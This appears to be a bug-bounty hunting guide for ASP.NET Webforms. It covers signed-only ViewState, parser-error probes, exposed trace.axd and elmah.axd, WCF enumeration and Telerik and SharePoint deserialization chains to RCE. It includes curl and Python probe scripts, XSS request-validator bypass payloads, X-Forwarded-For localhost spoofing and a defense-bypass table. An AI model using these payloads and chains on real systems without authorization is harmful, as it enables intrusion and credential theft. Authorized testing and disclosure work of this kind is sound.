- ASP.NET deserialization bugs pay among the highest amounts in bug bounty when they reach RCE. Even when patched, the disclosure-tier findings (signed-only ViewState, dual-parser differential, request-validator quirks) reliably pay Low-Medium.
11
-
12
- **Highest-value targets:**
13
-
14
- - **SharePoint farms** (any version — 2013/2016/2019/SE) — sign-only ViewState + permissive ToolPane.aspx + anonymous FormDigest creates the CVE-2025-53770 ToolShell precondition chain
15
- - **Telerik UI for ASP.NET AJAX** — `Telerik.Web.UI.WebResource.axd` is a documented RCE sink when keys leak (CVE-2017-11317, CVE-2017-11357, CVE-2019-18935)
16
- - **Classic ASP.NET Webforms enterprise apps** — banking portals, dealer portals, HR systems left on .NET Framework 4.x
17
- - **WCF services** (`*.svc?WSDL`) — often forgotten admin endpoints with looser auth than the main app
18
- - **Sitecore CMS** — ViewState + Sitecore-specific deserialization chains (CVE-2021-42237)
19
- - **DotNetNuke (DNN)** — historic ViewState RCE chains
20
- - **Umbraco CMS** — ViewState + custom deserialization sinks
21
-
22
- **Asset types that pay most:** internet-reachable ASP.NET Webforms apps > WCF admin services > Telerik-integrated sites > Classic ASP.NET MVC with VSF (very rare)
23
-
24
- ---
25
-
26
- ## Attack Surface Signals
27
-
28
- **Response headers indicating ASP.NET:**
29
- ```
30
- X-AspNet-Version: 4.0.30319 (classic — disclosure on its own)
31
- X-Powered-By: ASP.NET
32
- X-AspNetMvc-Version: 5.2
33
- Server: Microsoft-IIS/10.0
34
- Set-Cookie: ASP.NET_SessionId=...
35
- Set-Cookie: .ASPXAUTH=... (Forms auth cookie)
36
- Set-Cookie: .ASPXFORMSAUTH=...
37
- Set-Cookie: ASP.NET_SessionId=...; SameSite=None (suggests cross-origin embedding)
38
- ```
39
-
40
- **Body signals (in form HTML):**
41
- ```
42
- <input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="..." />
43
- <input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="..." />
44
- <input type="hidden" name="__VIEWSTATEENCRYPTED" id="__VIEWSTATEENCRYPTED" value="" />
45
- ↑ EMPTY = signed-only, not encrypted = exploitable if key leaks
46
- <input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="..." />
47
- <input type="hidden" name="__REQUESTDIGEST" id="__REQUESTDIGEST" value="0x...,...">
48
- ↑ SharePoint CSRF token; if anon-issued, see hunt-sharepoint
49
- ```
50
-
51
- **URL patterns to probe:**
52
- ```
53
- /trace.axd (per-app trace viewer; sometimes anon-accessible)
54
- /elmah.axd (ELMAH error log viewer)
55
- /elmah.axd/?id=... (ELMAH RCE / stack-trace leak)
56
- /*.svc (WCF services)
57
- /*.svc?wsdl (WCF WSDL)
58
- /*.svc/mex (Metadata Exchange)
59
- /*.asmx (legacy SOAP)
60
- /*.asmx?WSDL (legacy SOAP description)
61
- /*.asmx?disco (legacy discovery)
62
- /Telerik.Web.UI.WebResource.axd (Telerik AJAX components)
63
- /ChartImg.axd (DataVisualization controls; historic deserialization)
64
- /ScriptResource.axd (script resource handler; sometimes leaks paths)
65
- /WebResource.axd (web resource handler)
66
- /_vti_bin/* (SharePoint Web Service Forwarder)
67
- /api/ (Web API 2.x is ASP.NET on classic framework)
68
- /signin (often FedAuth / WS-Federation)
69
- ```
70
-
71
- **Tech-stack signals:**
72
- - `Server: Microsoft-IIS/10.0` (or `/8.5`, `/7.5`) — confirmed Windows + IIS
73
- - `X-AspNet-Version` header — classic .NET Framework (4.x); .NET Core/5+ does NOT emit this
74
- - Cookies with `ASP.NET_SessionId`, `.ASPXAUTH`, `FedAuth` — Forms or claims auth
75
- - `__VIEWSTATE` in form bodies — Webforms (NOT MVC, NOT Razor Pages, NOT Blazor)
76
- - `MicrosoftSharePointTeamServices` header (sometimes stripped by ELB but leaks in `start.aspx` body) — SharePoint
77
-
78
- ---
79
-
80
- ## Step-by-Step Hunting Methodology
81
-
82
- 1. **Fingerprint the framework version.** Trigger any 500 error (stale ViewState POST is a reliable way) and look for `Version Information: Microsoft .NET Framework Version:X.X.XXXXX; ASP.NET Version:X.X.XXXX.X` in the error body. This banner discloses both the runtime and ASP.NET-version-specific patch level. .NET 4.0.30319 + ASP.NET 4.8.x is the most common modern combination.
83
-
84
- 2. **Locate every form with `__VIEWSTATE`.** Spider the target and grep for `name="__VIEWSTATE"`. Each is a candidate sink for deserialization attacks if MAC / encryption is bypassable.
85
-
86
- 3. **Check `__VIEWSTATEENCRYPTED` value.** Empty (`value=""`) means ViewState is signed-only via `<machineKey>` but NOT encrypted. Recovery of the validation key → arbitrary deserialization. Non-empty (`value="something"`) means ViewState is BOTH signed and encrypted; both keys needed to forge.
87
-
88
- 4. **Test the ViewState parser-error differential** (the dual-parser anti-pattern). Send 7+ ViewState shapes and classify responses:
89
- - Trivial garbage (`AAAA`) → `"Validation of viewstate MAC failed"`
90
- - Real prefix from current page → `"Validation of viewstate MAC failed"`
91
- - Flipped-bit real ViewState → `"Validation of viewstate MAC failed"`
92
- - Oversize (`A * 100000`) → `"Validation of viewstate MAC failed"`
93
- - XML-shaped (`<xss/>`) → **"The state information is invalid for this page and might be corrupted"** ← different parser path
94
- - LosFormatter-style prefix (`/wEPDwUKMTcxNzgyOTQwMmRkkz9p4lzA...`) → **"The state information is invalid for this page and might be corrupted"**
95
-
96
- The differential proves there are **two distinct deserialization entry points**, one of which dispatches BEFORE the MAC check on some payload shapes. Historically this enables MAC-before-parse-bypass exploits.
97
-
98
- 5. **Look for load-balanced cross-node ViewState MAC failures.** If POST gets a 500 with `"Validation of viewstate MAC failed. If this application is hosted by a Web Farm or cluster, ensure that <machineKey> configuration specifies the same validationKey..."`, the farm has multiple WFEs WITHOUT machineKey sync, or without sticky-session affinity. Operationally this breaks legit users; security-wise it confirms farm topology.
99
-
100
- 6. **Probe `trace.axd` and `elmah.axd`.** If either returns 200 anonymously, it's a Critical finding (trace leaks every request + headers + form data; ELMAH leaks every server error including stack traces).
101
-
102
- 7. **Enumerate WCF services (`.svc`).** For each, fetch `?wsdl` and `?mex` (metadata exchange). MEX endpoints sometimes return full service contracts including admin operations.
103
-
104
- 8. **Test request-validator bypass.** ASP.NET's request validator blocks `<` in query strings by default. Bypass categories that may still get through:
105
- - HTML-entity-encoded payloads (`&lt;script&gt;` — but these don't execute)
106
- - Encoded inside JSON / XML POST bodies (different content-type ≠ same validator)
107
- - In path segments (not query) — validator scope depends on framework version
108
- - In Cookie / Referer headers (varies)
109
- - Inside `<%@ ... %>` ASP directives if reached via WebDAV PUT (rare)
110
-
111
- 9. **Check `customErrors` mode.** If 500s expose full stack traces, framework versions, file paths, internal method names → `customErrors mode="Off"` is set. Should be `RemoteOnly` for production.
112
-
113
- 10. **Look for Telerik components.** `Telerik.Web.UI.WebResource.axd?type=rau` is the historic upload-to-RCE chain (CVE-2017-11317). The `dialogParametersHolder` parameter chain (CVE-2019-18935) requires the encryption key but is otherwise RCE.
114
-
115
- 11. **SharePoint-specific deserialization paths** — see `hunt-sharepoint` skill for the ToolPane.aspx + anonymous FormDigest + unencrypted ViewState chain.
116
-
117
- 12. **SafeControl enumeration via reflection.** SharePoint's `Picker.aspx?PickerDialogType=<TypeName>` (and DNN-equivalent endpoints) accept class names and return DIFFERENT error messages for "type exists but not whitelisted" vs "type does not exist." Feed a wordlist of `Microsoft.SharePoint.*.WebControls.*` types to enumerate the SafeControl list — useful for CVE-2019-0604-family hunting.
118
-
119
- ---
120
-
121
- ## Payload & Detection Patterns
122
-
123
- **Stack-trace fingerprint (trigger via stale ViewState POST):**
124
- ```bash
125
- curl -sk -X POST "https://target.example/page.aspx" \
126
- --data "__VIEWSTATE=AAAA&__VIEWSTATEGENERATOR=AAAA"
127
- # Inspect body for:
128
- # - "Validation of viewstate MAC failed" → confirms signed ViewState
129
- # - "The state information is invalid for this page" → confirms ALTERNATE parser path
130
- # - "Version Information: Microsoft .NET Framework Version:X.X.XXXXX" → exact patch level
131
- # - "Microsoft.SharePoint.Client.ServerStub..." → SharePoint farm
132
- ```
133
-
134
- **ViewState parser-error differential probe (Python):**
135
- ```python
136
- import requests, re, json
137
- S = requests.Session(); S.verify = False
138
- # Get fresh form
139
- r = S.get("https://target.example/path/page.aspx")
140
- real_vs = re.search(r'__VIEWSTATE" id="__VIEWSTATE" value="([^"]+)', r.text).group(1)
141
- real_vsg = re.search(r'__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="([^"]+)', r.text).group(1)
142
-
143
- # Test 7 payload shapes
144
- for label, vs in [
145
- ("trivial", "AAAA"),
146
- ("real", real_vs),
147
- ("flipped-bit", real_vs[:50] + "X" + real_vs[51:]),
148
- ("oversize", "A" * 100000),
149
- ("base64", "VGVzdE1hcmtlcjY3OFhZWg=="),
150
- ("xml-shaped", "<xss/>"),
151
- ("losformatter", "/wEPDwUKMTcxNzgyOTQwMmRkkz9p4lzA" + "A"*50),
152
- ]:
153
- r = S.post("https://target.example/path/page.aspx",
154
- data={"__VIEWSTATE": vs, "__VIEWSTATEGENERATOR": real_vsg})
155
- title = re.search(r'<title>([^<]+)</title>', r.text)
156
- title = title.group(1)[:100] if title else "—"
157
- print(f" [{label:14s}] {r.status_code} {title}")
158
- ```
159
-
160
- **`trace.axd` anonymous check:**
161
- ```bash
162
- curl -sk -o /dev/null -w "%{http_code}\n" "https://target.example/trace.axd"
163
- # 200 = full trace dump exposed → Critical
164
- # 403 = mod set to localhost-only → check via X-Forwarded-For: 127.0.0.1
165
- ```
166
-
167
- **WCF service enumeration:**
168
- ```bash
169
- # Find all .svc files
170
- curl -sk "https://target.example/" -o body.html
171
- grep -oE '/[a-zA-Z0-9/_-]+\.svc' body.html | sort -u
172
- # For each found:
173
- curl -sk "https://target.example/Service.svc?wsdl" | xmllint --format - | head -60
174
- ```
175
-
176
- **Request-validator bypass categories:**
177
- ```
178
- # Default: <script>alert(1)</script> in ?q= → "Potentially dangerous Request.QueryString value detected"
179
- # Bypasses that sometimes work:
180
- ?q=%3cscript%3e (URL-encoded — depends on validator config)
181
- ?q=<svg/onload=alert(1)> (depends on validator version)
182
- ?q=<%00script> (NUL-byte; older validators)
183
- ?q=javascript:alert(1) (no < at all — passes validator)
184
- Cookie: foo=<script> (cookie body not validated by default)
185
- Referer: http://x.com/<script> (referer not validated in classic ASP.NET)
186
- ```
187
-
188
- **Telerik exploit gate (CVE-2019-18935 — requires encryption keys):**
189
- ```bash
190
- # Fingerprint Telerik
191
- curl -sk "https://target.example/Telerik.Web.UI.WebResource.axd?type=rau" -X POST
192
- # If response is RadAsyncUploadHandler-style → Telerik present; try keys
193
- # Public exploits require leaked machineKey AND telerikEncryptionKey
194
- ```
195
-
196
- ---
197
-
198
- ## Common Root Causes
199
-
200
- 1. **`viewStateEncryption="Auto"` defaults to signed-only on pages without sensitive ViewState data.** Many SharePoint pages are configured this way. When `__VIEWSTATEENCRYPTED` is empty, ViewState is signed-only — recovery of `validationKey` alone enables forgery.
201
-
202
- 2. **`<machineKey>` AutoGenerate in a Web Farm.** Each WFE generates a different key on first boot; ViewState issued by one WFE fails MAC validation on another. Operationally produces 500s; security-wise broadcasts the topology (the error message names the cluster).
203
-
204
- 3. **`<customErrors mode="Off">` left from development.** Stack traces with full method names, file paths, version banners exposed to anonymous internet users.
205
-
206
- 4. **`trace.axd` / `elmah.axd` left enabled in production.** Often forgotten in `<system.web><trace enabled="true">` blocks.
207
-
208
- 5. **Forgotten WCF `.svc` admin endpoints.** Built for internal admin tooling, never disabled when the main app went to internet exposure.
209
-
210
- 6. **Dual-parser anti-pattern: `ObjectStateFormatter` (legacy) vs `LosFormatter` (modern) deserialize in different orders relative to MAC validation.** Some payload shapes hit the legacy parser BEFORE MAC check.
211
-
212
- 7. **Request validator only applies to URL-encoded body and querystring.** Headers, cookies, XML/JSON bodies, and multipart fields are NOT validated by default. Developers assume validator is universal; it is not.
213
-
214
- 8. **`<machineKey>` checked into source repos.** Configuration check-ins to GitHub frequently leak validation/decryption keys. Combine with `hunt-misc` source-recon for Telerik / SharePoint / DNN keys.
215
-
216
- 9. **`SafeControls` web.config entries trusted to gate deserialization.** SharePoint's `<SafeControl>` list determines which classes Picker.aspx can instantiate. Bypasses exist when the inheritance check is the only gate (CVE-2019-0604 family).
217
-
218
- ---
219
-
220
- ## Bypass Techniques
221
-
222
- | Defense | Bypass |
223
- |---|---|
224
- | `__VIEWSTATEENCRYPTED` non-empty (encrypted) | Recover both decryption + validation keys from any source-code leak / config-disclosure / VS forge primitive; without keys, deserialization cannot be triggered |
225
- | Request validator blocks `<` in querystring | Move payload to Cookie / Referer / JSON body / multipart filename — validator doesn't reach those contexts in classic ASP.NET |
226
- | `EnableViewStateMac="true"` enforced | Recover `validationKey` from web.config disclosure or `<machineKey>` AutoGenerate fingerprinting (ysoserial.net `--minify --islegacy` mode generates ViewState that passes some MAC-validation gaps) |
227
- | `trace.axd` localhost-only | Set `X-Forwarded-For: 127.0.0.1` if the trace mode is `localOnly` and the validation uses Request.UserHostAddress (some apps use Forwarded-For instead) |
228
- | WCF `.svc` 401 on anonymous | Try `?wsdl` and `?mex` first; metadata is sometimes anonymously enumerable even when service ops require auth |
229
- | Telerik upload patched | Check the Telerik version: anything pre-2017Q1 (build 2017.1.118 or earlier) is the original RAU RCE. Check 2017Q3 - 2019Q3 for CVE-2019-18935 |
230
- | `SafeControl` whitelist enforced | Inheritance gate (`instanceof PickerDialog`) IS the gate on patched SP — bypass requires finding a SafeControl subclass with a deserialization sink; enumerate via Picker.aspx |
231
- | `customErrors mode="On"` (no stack traces) | Force a different error path: invalid Content-Length, malformed ViewState that triggers a parser-level exception below the customErrors handler |
232
-
233
- ---
234
-
235
- ## Gate 0 Validation
236
-
237
- Before writing the report, confirm:
238
-
239
- 1. **What can the attacker DO right now with the disclosed information?**
240
- - `trace.axd` 200 with full request dump → **Critical** (PII / session cookies / Authorization headers exposed)
241
- - `elmah.axd` 200 with error log → **High** (stack traces + internal paths + sometimes credentials)
242
- - `__VIEWSTATEENCRYPTED` empty + recoverable machineKey via separate finding → **Critical chain to RCE**
243
- - `__VIEWSTATEENCRYPTED` empty without key recovery → **Low-Medium** (primitive present, not exploitable on its own)
244
- - Stack traces in 500s → **Low** unless they include credentials / connection strings
245
-
246
- 2. **Have you reproduced the full chain to attacker-attainable impact, or only the primitive?**
247
- - Cross-reference `triage-validation` Pre-Severity Gate. "Primitive confirmed" is not Critical until the chain ends in impact.
248
-
249
- 3. **Can a triager reproduce in <10 min from your report?**
250
- - Each step copy-pasteable curl / Python.
251
- - For RCE chains: link the public exploit tool (ysoserial.net, viewgen, telerik-revda) and the specific gadget chain.
252
-
253
- ---
254
-
255
- ## Real Impact Examples
256
-
257
- ### Scenario A — Signed-only ViewState + permissive ToolPane on EoL SharePoint 2013
258
-
259
- `https://target-portal.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit` returns 200 anonymously. The form contains `__VIEWSTATE` (signed only — `__VIEWSTATEENCRYPTED=""`), and `__REQUESTDIGEST` is anonymously issued via `_api/contextinfo`. Combined with SP2013 being end-of-life (no patch will ever ship), this is the canonical CVE-2025-53770 "ToolShell" precondition chain on a permanently-unpatched code path. Reported severity: **Critical**. The dual-parser test (Section 4 of Methodology) confirmed that XML-shaped payloads reach the legacy `ObjectStateFormatter` BEFORE MAC validation — additional evidence that the chain is reachable even without full machineKey recovery (though full RCE requires both).
260
-
261
- ### Scenario B — Telerik RadAsyncUploadHandler exposed on legacy bank portal
262
-
263
- `/Telerik.Web.UI.WebResource.axd?type=rau` returns the Telerik upload handler. Telerik version (visible in JS bundle metadata) is 2016.3.1027. CVE-2017-11317 applies — keys are baked into the public Telerik DLL of that version. Upload → write `aspx` to `/app_data/` → request → RCE. Reported severity: **Critical**.
264
-
265
- ### Scenario C — trace.axd + elmah.axd both exposed on enterprise HR portal
266
-
267
- `trace.axd` 200 returns 50 most recent requests, including `Authorization: Bearer eyJ...` headers on API requests. `elmah.axd` 200 returns full error log with database connection-string in one of the exceptions. Reported severity: **Critical** (credentials in plaintext to anonymous internet).
268
-
269
- ---
270
-
271
- ## Related Skills & Chains
272
-
273
- - **`hunt-rce`** — ViewState deserialization is the headline ASP.NET RCE path; signed-only ViewState + leaked machineKey = RCE every time. Chain primitive: ASP.NET ViewState dual-parser MAC-bypass anti-pattern detected (signed but not encrypted, `<%@ Page enableViewStateMac="true" viewStateEncryptionMode="Never" %>`) + machineKey recovered (from web.config disclosure, `elmah.axd`, source leak, or GitHub) → `hunt-rce` ysoserial.net `TypeConfuseDelegate` gadget → arbitrary command in `w3wp.exe` worker-process identity.
274
- - **`hunt-sharepoint`** — SharePoint farms inherit every ASP.NET anti-pattern plus their own surface. Chain primitive: ASP.NET fingerprint reveals SharePoint (X-SharePoint headers + `/_layouts/` reachable) → pivot to `hunt-sharepoint` for SP-specific RCE paths (ToolShell, SafeControl reflection) before generic ViewState attack.
275
- - **`hunt-ntlm-info`** — IIS sites that advertise NTLM/Negotiate anonymously leak AD topology. Chain primitive: ASP.NET app behind IIS with `WWW-Authenticate: NTLM` → `hunt-ntlm-info` Type-2 challenge capture → internal forest name → cross-reference Entra tenant via `m365-entra-attack` discovery.
276
- - **`hunt-file-upload`** — Telerik RadAsyncUpload, Kentico, Umbraco, and DotNetNuke all have historical upload-handler RCE. Chain primitive: ASP.NET CMS fingerprinted → `hunt-file-upload` bypass matrix against the CMS upload handler → `.aspx` written into web-accessible path → request → RCE under app-pool identity.
277
- - **`triage-validation`** — `trace.axd`/`elmah.axd` disclosure is only Critical when it actually leaks live credentials/tokens; pure stack traces are usually Low. Chain primitive: pull every reported finding through `triage-validation` 7-Question Gate before submission — distinguish "verbose error" (informational) from "live bearer token in error log" (Critical) before writing the report (`redteam-report-template`).